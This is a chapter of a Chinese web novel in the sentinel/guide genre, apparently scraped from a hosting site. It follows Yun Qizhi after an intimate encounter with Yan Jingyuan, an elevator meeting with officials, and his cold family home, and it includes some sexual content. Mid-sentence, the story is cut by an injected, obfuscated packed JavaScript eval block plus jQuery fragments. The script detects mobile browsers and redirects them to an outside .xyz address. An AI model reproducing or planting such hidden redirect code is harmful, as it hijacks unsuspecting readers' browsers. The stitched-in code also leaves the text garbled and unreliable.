默认冷灰
24号文字
方正启体

9. 您使用香水了吗?

作者:云劫本书字数:K更新时间:
    云起之想,宴景鸢很懂得怎么让他生气。


    原以为力气已经被消耗一空,但事实证明,只要足够生气,那还是有力气的。


    云起之推开宴景鸢。


    完全推不开。


    云起之目光冰冷地看着宴景鸢,说道:“起来。”


    宴景鸢了解云起之,从云起之现在的表情就可以判断出他生气了,但他并不是很懂,云起之为什么会生气?


    宴景鸢是真的不懂,但他知道的是,云起之生气的时候他最好乖巧一些,尽可能降低自己的存在感。


    宴景鸢微微向后退,与云起之拉开非常少的一段距离。


    云起之面无表情地从床上坐起,伴随他的动作,一头白色长发散开,无论任何时刻,他整个人都仿佛透着光。


    只要他在的地方,他就是他人的目之所在。


    他存在的本身,就是他人的欲望。


    云起之下床。


    宴景鸢目光随着云起之移动,他说:“起之,你现在是要……”


    云起之的动作下,是从云起之腿部下滑的白色黏液,透着一股靡丽的美感,冲击着宴景鸢的视野。


    宴景鸢禁声。


    云起之看向宴景鸢,说道:“我去洗洗。”


    宴景鸢说道:“啊,我可以帮你。”


    就和过去一样,考虑到云起之的体能,在这些方方面面,宴景鸢始终迁就着云起之。


    在这里有一点比较微妙的是,云起之的个人信息资料中的体质是B级。


    B级体质为达到平均线上的体质。


    按照普通人的标准,就是能够干重体力活的标准,例如,去工地搬砖,扛水泥麻袋。


    宴景鸢知道“B级”体质的概念是什么,他也知道云起之身份信息上的体质,理论上,他们之间的这些事情并不会累倒云起之,但是,他就是体感云起之很疲惫。


    事实上,云起之其实是真的累。


    两年前的云起之或许还是B级,而现在,他并不是,他自己也不知道自己的体质下跌到了什么等级。


    云起之说道:“哦,不用。”


    云起之收回目光,迈开脚步,进入浴室。


    就和不久前宴景鸢进入浴室时,云起之看着他一样,宴景鸢的目光也一直在云起之的身上,当浴室的门关上,哗啦啦的水流声响起,宴景鸢才收回目光。


    宴景鸢是真的不太懂,云起之会生气的原因。


    他很认真的思考,回忆之前与云起之相处的细节。


    越是珍惜一个人,就会不断地思考。


    宴景鸢非常珍惜云起之。


    宴景鸢还是无法理解,为什么云起之会生气?


    就在这时,手腕上的终端一阵震荡。


    宴景鸢从思考中回过神,另一只手想要触碰终端开启投屏,入眼的是手指上沾染的液体。


    那是不久前,属于云起之的液体。


    宴景鸢的瞳孔微微收缩了下,他不知道这一刻的自己是怎么想的,当他反应过来时,他已经……


    将手指放到了嘴里。


    没有想象中的好吃。


    不好吃。


    和想象中的不太一样。


    宴景鸢:“……”他的目光有些心虚地朝着浴室的方向看去,耳中是哗啦啦的水声。


    哦。


    等宴景鸢反应过来的时候,他又舔了舔手指。


    有毒。


    又舔了舔。


    宴景鸢:“……”


    宴景鸢下床,翻出一条浴巾。


    不久后,云起之从浴室走了出来,他的脚步顿住,入眼的就是站在浴室门口,手上拿着浴巾的宴景鸢。


    就和过去一样,宴景鸢用宽大的浴巾罩住云起之,将他抱到床上。


    可能是因为有时间的缓释,前一刻云起之还显得十分生气,现在这一刻他的气好像消了,任由宴景鸢为他服务。


    宴景鸢说道:“你又用冷水洗澡。”


    云起之沉默。


    宴景鸢说:“你不想回答的时候,就会沉默。”他轻声叹息。


    云起之说道:“哦,还有我不想理你的时候。”


    宴景鸢假装没听到云起之这句话,继续说道:“凉水不好,你会生病。”


    云起之又沉默了。


    宴景鸢将云起之身上的水迹擦干净,开始用柔软的毛巾为云起之擦头发,他的手指会在不经意之间划过云起之的脖颈,又为云起之吹头发。


    云起之的头发很长。


    长过腰际的长发,很多时候云起之都觉得很烦,但宴景鸢对他的这一头长发总是显得耐心十足,他会很认真地为云起之打理着每一缕发丝,时不时会捧起一缕发丝放到唇边轻轻亲吻。


    足足用了半个小时,云起之的长发被吹得蓬松顺滑。


    在这期间,两人之间是一阵沉默。


    宴景鸢将散落于一地的衣服捡起来,从衬衣开始为云起之穿上。


    宴景鸢喜欢脱云起之的衣服,也喜欢为他穿上衣服,一个个的系上衣扣,系到衬衣最上方,尽可能遮掩住脖颈白皙的皮肤,“起之,如果让你不高兴了,我很抱歉。”


    云起之:“……”


    云起之的沉默中,宴景鸢又说:“我想了很久,我觉得你可能是在气,如果我以后有伴侣,不会把你当成我最好的兄弟。”他左思右想,得出了这样一种结论。


    宴景鸢看着云起之的目光满满都是真诚。


    云起之瞪大眼睛,瞳孔微微收缩,他的脑海中闪过五个字。


    ——脑子进水了。


    有病!


    哦。


    好的,脑子进水的,有病的,缺心眼的还有他自己。


    云起之瞪大的眼睛下,宴景鸢继续说道:“起之,你相信我,哪怕有伴侣,我们也是最好的兄弟!”


    云起之:“……”真是见了鬼的好兄弟。


    云起之深吸一口气,与宴景鸢拉开距离,将哨兵制服披上,朝着门的方向走。


    宴景鸢立刻追过去,询问:“起之,你去哪里?”


    云起之不想看到宴景鸢。


    至少这一刻,他不想再看到宴景鸢,他不想听宴景鸢幻想着所谓的未来伴侣。


    不想听。


    不愿听。


    云起之声音冷漠,“和你有什么关系?”


    宴景鸢:“或许我们可以一起?”他完全不在意云起之冷漠的态度,或者说,云起之时不时就会这样,所以大家都说云起之的脾气不好。


    像是飞鸢团的成员,他们会说云起之不识抬举,认不清自我,恃宠而骄。


    更有一些人说,云起之是在利用宴景鸢。


    云起之说道:“你不要跟着我,我现在不想见到你。”他的手握住门把手,然后,宴景鸢又握住了他的手腕。


    云起之看向宴景鸢,声音冰冷,“放手。”


    宴景鸢犹犹豫豫,还是放手了,他说:“那我晚一点给你发信息。”


    云起之头也不回的走出宴景鸢的宿舍。


    偌大的塔,他能回的只有家。


    哪怕他并不喜欢这个家,但,现在这一刻,他并不想留在宴景鸢的宿舍。


    该说不说,运气就是这么的微妙。


    当电梯停下,今天第三次,云起之见到了罗素执政官。


    罗素在塔的地位高高在上,云起之作为C级哨兵,他平日几乎与罗素没有任何接触的机会,但今天,他们第三次遇见。


    又一次,云起之想,他或许可以等下一班电梯。


    同样的,在电梯内唐秘书一句“真巧啊,云起之哨兵”的招呼声下,云起之被动迈开脚步,进入电梯。


    云起之觉得不太自在,好在146层与148层就只有两层楼之隔。


    电梯门关上。


    唐秘书看向云起之,面上的笑容恰到好处,她说道:“今天已经是第三次见到了呢。”


    云起之:“……是的。”


    唐秘书嗅了嗅,询问:“云起之哨兵,您使用香水了吗?”


    因为强大的五感,即便是女性哨兵也不太使用香水,一方面是刺激自己,同时也对其他的哨兵、向导不太友好。


    虽说并没有明文规定,但在公共场合不使用刺激性物品,这是塔中哨兵、向导遵守的基本规则,也是礼仪。


    塔外可以,在塔内,他们绝不会使用香水。


    云起之眼皮跳了跳,说道:“没有,”他又说,“可能是在哪里沾染到的味道。”


    唐秘书笑了笑,说道:“哦,是一种很好闻的味道,出乎意料的并没有让人感到不适。”


    唐秘书是S级的哨兵。


    正巧。


    电梯停在了148层。


    云起之松了一口气,礼貌地和罗素执政官与唐秘书道别,加快步伐走出电梯。


    等电梯门关上,云起之回头朝着门的方向看去。


    之前,一年都不一定能够见到罗素执政官一次,今天一天就见到了他三次。


    云起之希望,接下来不要再见到他。


    倒不是对罗素执政官有偏见,单纯是因为这位阁下在塔的地位过高,让他觉得……


    很不自在。


    他们之间的差距宛如天堑。


    收回目光,云起之通过指纹开门。


    大哥云柏岚不在的日子,对云起之来说,“家”是冰冷的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029801|162294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    无论是和父母,又或者是姐姐、弟弟,他们之间的交流微乎其微,但凡不是云柏岚成为中间的纽带,他们甚至没有机会一起吃饭。


    在这冰冷的家庭,云柏岚是维系全家的纽带。


    只要云柏岚在,他就会将家人聚在一起,大家一起用餐。


    因为大哥云柏岚,这个家始终是云起之的避风港。


    理所当然。


    现在这个时间点家里并没有人。


    按照弟弟云新止的说法,从身为大家长的云煜城到最小的云新止在内,他们每日都很忙,对比之下,云起之就很会摆烂。


    这种摆烂和咸鱼有什么两样?


    当时云新止的目光直勾勾地看着云起之,没有避讳,他就是在直白地指责云起之的咸鱼。


    云起之回视云新止,并没有羞愧,声音不急不缓:“哦,你说我是咸鱼,只能说……”片刻的停顿后,他说,“说对了。”他就是一条咸鱼。


    字面意义上的咸鱼。


    海里的鱼,哪里有不咸的?


    云起之完全没有将弟弟的冷嘲当一回事。


    就算他不是海里的鱼,全家人的日程安排中就能够看出来。


    近几年来一直想方设法接替简宛儿的塔第二位执政官位置的云煜城,又或者是一直辅助云煜城壮大势力的妻子埃尔莎女士,以及云家另外三位2S级的哨兵,对比之下,C级的云起之确实显得非常摆烂。


    毕竟,他这个等级,其实努力也没有任何意义。


    飘不起丝毫浪花。


    回到家。


    不去想令人厌烦的宴景鸢……


    早知道会发生这种事情,之前咬宴景鸢时,他应该咬得更大力一些,直接将他胸口的一大块肉给咬下来。


    甩了甩头,一头白色的长发形成柔美的波浪,云起之深吸一口气,然后就想到了更让他烦躁的事情。


    那真是无暇顾及宴景鸢的事情。


    那两颗丢失的人鱼之泪。


    云起之再次寻找起了人鱼之泪。


    其实……


    他还有一种寻找方式。


    水。


    水是他的感知。


    他可以凝聚出水。


    水所覆盖的地方,他的感知弥漫过去,就能够感知到一切,这是他的领域场,但是……


    他的目光四处扫了眼。


    这里是“家”。


    通铺的木地板、暖融融的绒毯、价值不菲的皮革沙发、木制家具、精美的摆件……


    一旦遇到“水”,就会损坏。


    在这里,不能用异能。


    云起之又围绕着整个客厅寻找了一遍,他甚至试图将沙发抬起来……


    抬不起来。


    完全抬不起来。


    他的力量太弱了。


    就在云起之试图推动沙发时,门口传来一阵动静。


    云起之停下手上的动作,坐姿端正地坐在沙发上,他也不是一开始就坐得这么端正,就是在年幼时被云煜城训斥过坐姿后形成的习惯。


    坐骨压在坐垫,腰背挺直。


    当然,这是一个好习惯。


    门被推开,进来的是云新止,他比云起之小两岁,今年刚成年,已经开始接塔任务。


    云新止的身旁还有二人,一男一女,朝气蓬勃,面容稚气未脱,是云新止的同学,现在他的伙伴。


    和见到哥哥还冷着张脸不懂问候的没教养的弟弟不同,两位伙伴礼貌地向云起之问候。


    云起之对两人点了点头。


    云新止看向云起之,说道:“你为什么在这里?”


    不等云起之回答,云新止又说:“也是,你就从来没有努力过。”


    云起之:“……”


    如果是过去,云起之或许还会试图反驳,但今天,一方面是丢失的两颗人鱼之泪,另一方面是数次和宴景鸢进行不检点的行为导致的疲惫。


    他不想说话。


    目光冷漠地扫了云新止一眼,从沙发上站起身,直接回到了自己的房间。


    当门关上,隔着一扇门传来云新止同学的声音。


    “新止,你别总是针对你哥哥。”


    “对啊,你二哥这么好看,又有什么错呢?”


    “面对哥哥时要有礼貌,一日为兄终生为父,哪里有你这样说哥哥的?”


    云新止试图反驳两个同学,但他每说一句话,他的那两位朋友就有更多的话反驳他。


    一扇门的遮掩,卧室内的云起之虽说见不到门外云新止的表情,想当然,必然非常糟糕。


    这么多年的兄弟,别的不太清楚,有一点可以肯定,他的这个弟弟肯定很气。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)